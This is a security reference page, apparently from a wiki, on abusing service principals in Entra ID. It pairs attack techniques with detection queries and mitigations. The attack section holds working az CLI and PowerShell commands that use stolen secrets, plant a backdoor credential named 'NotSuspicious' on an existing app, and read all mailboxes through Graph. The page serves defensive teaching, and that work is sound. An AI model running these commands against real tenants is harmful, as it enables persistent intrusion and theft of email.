Service Principal Abuse
ATT&CK: T1098.001 — Additional Cloud Credentials, T1078.004 — Cloud Accounts
Service principals (SPs) are non-human identities in Entra ID representing applications. They are often over-privileged, have long-lived credentials, and receive less monitoring attention than user accounts — making them prime targets for persistence and lateral movement in cloud environments.
Key Concepts
| Term | Description |
|---|---|
| App Registration | The application definition in Entra ID — tenant-global or multi-tenant |
| Service Principal | Instance of an app registration in a specific tenant; the actual identity |
| Client Secret | Password-equivalent credential for the SP (stored as appSecret) |
| Certificate | X.509 cert-based authentication for SP (stronger than client secret) |
| App Role | Permission assigned to SP by an admin (admin consent) |
| OAuth scope | Delegated permission granted to SP on behalf of a user |
| Managed Identity | System-assigned or user-assigned SP without explicit credentials (separate page) |
Why Service Principals Are Targets
- No MFA — SPs authenticate with credentials (secrets/certs), not interactive MFA
- Over-privileged — DevOps pipelines, automation, legacy apps accumulate permissions
- Long-lived secrets — Secrets often set to 1-2 year expiry or never expire
- Less monitored — Alerts tuned for user accounts often miss SP anomalies
- Multi-tenant blast radius — A compromised multi-tenant SP can be used across all tenants where it is consented
Attack Vectors
1. Client Secret / Certificate Theft
If SP credentials are stored in:
- Environment variables (CI/CD pipelines)
- Code repositories (hardcoded)
- Key vaults (if accessible)
- Application configuration files
# Using stolen client secret with az cli
az login --service-principal -u <appId> -p <client-secret> --tenant <tenantId>
# Or with client certificate
az login --service-principal -u <appId> --certificate /path/to/cert.pem --tenant <tenantId>
2. Illicit App Registration → New SP
An attacker with sufficient Entra ID permissions creates a new app registration:
# Create new app + SP with chosen permissions
az ad app create --display-name "LegitLookingApp" --sign-in-audience AzureADMyOrg
az ad sp create --id <appId>
# Add client secret
az ad app credential reset --id <appId> --append
# Request admin consent for high-privilege roles
# (requires tricking an admin — see illicit-consent-grant.md)
3. Adding Credentials to Existing SP
If an attacker has Application.ReadWrite.All or AppRoleAssignment.ReadWrite.All:
# Add a new client secret to any existing SP
$sp = Get-MgServicePrincipal -Filter "displayName eq 'TargetApp'"
Add-MgServicePrincipalPassword -ServicePrincipalId $sp.Id -PasswordCredential @{
DisplayName = "NotSuspicious"
EndDateTime = (Get-Date).AddYears(2)
}
# This gives the attacker credentials to authenticate as TargetApp
This is a common persistence technique: backdoor a legitimate, highly-privileged SP.
4. App Role Assignment to Compromised SP
# Grant Mail.ReadWrite to a controlled SP (requires admin consent or admin compromise)
# Then use it to read all mailboxes:
$token = Get-AccessToken -ClientId $appId -ClientSecret $secret -TenantId $tenant -Scope "https://graph.microsoft.com/.default"
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/users/{userId}/messages" -Headers @{Authorization="Bearer $token"}
High-Value SP Permissions
| Permission | What It Enables |
|---|---|
Directory.ReadWrite.All | Read and write entire directory — near-DA in the cloud |
RoleManagement.ReadWrite.Directory | Assign Entra ID roles — full Global Admin compromise |
Mail.ReadWrite (application) | Read all email in the tenant without user consent |
Sites.ReadWrite.All | Access all SharePoint sites |
User.ReadWrite.All | Modify any user account — password reset, MFA bypass |
Application.ReadWrite.All | Add credentials to any SP — persistence vector |
AppRoleAssignment.ReadWrite.All | Grant/revoke app roles — privilege escalation |
Persistence via SP
An attacker with appropriate rights can:
- Create a new app registration with high-privilege roles
- Add a client secret they control
- Delete the app after the attack? No — typically kept for re-entry
- The SP survives password resets on user accounts
This makes SP-based persistence difficult to evict: defenders must identify and remove the SP, not just reset passwords.
Detection
Entra ID Audit Logs
// New credentials added to service principals
AuditLogs
| where OperationName in ("Add password credentials for application", "Add key credentials for application")
| where InitiatedBy.user.displayName !contains "expected-automation-account"
| project TimeGenerated, OperationName, InitiatedBy, TargetResources
// New high-privilege app role assignments
AuditLogs
| where OperationName == "Add app role assignment to service principal"
| extend AppRole = TargetResources[0].modifiedProperties
| where AppRole has_any ("Directory.ReadWrite", "Mail.ReadWrite", "RoleManagement")
| project TimeGenerated, OperationName, InitiatedBy, TargetResources
// SP sign-ins from unexpected locations or using new credentials
AADServicePrincipalSignInLogs
| where TimeGenerated > ago(24h)
| summarize SigninCount = count() by ServicePrincipalId, IPAddress
| where SigninCount < 3 // New IP for this SP
| join kind=inner (
AADServicePrincipalSignInLogs | summarize FirstSeen = min(TimeGenerated) by ServicePrincipalId, IPAddress
) on ServicePrincipalId, IPAddress
| where FirstSeen > ago(24h)
Mitigation
| Control | Effect |
|---|---|
| Inventory all SPs and their permissions | Find over-privileged SPs |
| Set short expiry on client secrets (90 days max) | Limit persistence window |
| Prefer managed identities over explicit credentials | Eliminates credential theft angle |
Restrict Application.ReadWrite.All grant | Limit who can backdoor existing SPs |
| Enable SP sign-in risk detection | Entra ID Protection covers some SP anomalies |
| Regular access certification for SP permissions | IGA discipline applied to NHIs |
Cross-Links
| Topic | Link |
|---|---|
| Managed Identity Abuse | managed-identity-abuse |
| Illicit Consent Grant | illicit-consent-grant |
| Entra ID Overview | entra-overview |
| OAuth 2.0 | oauth2 |
| IGA Overview | iga-overview |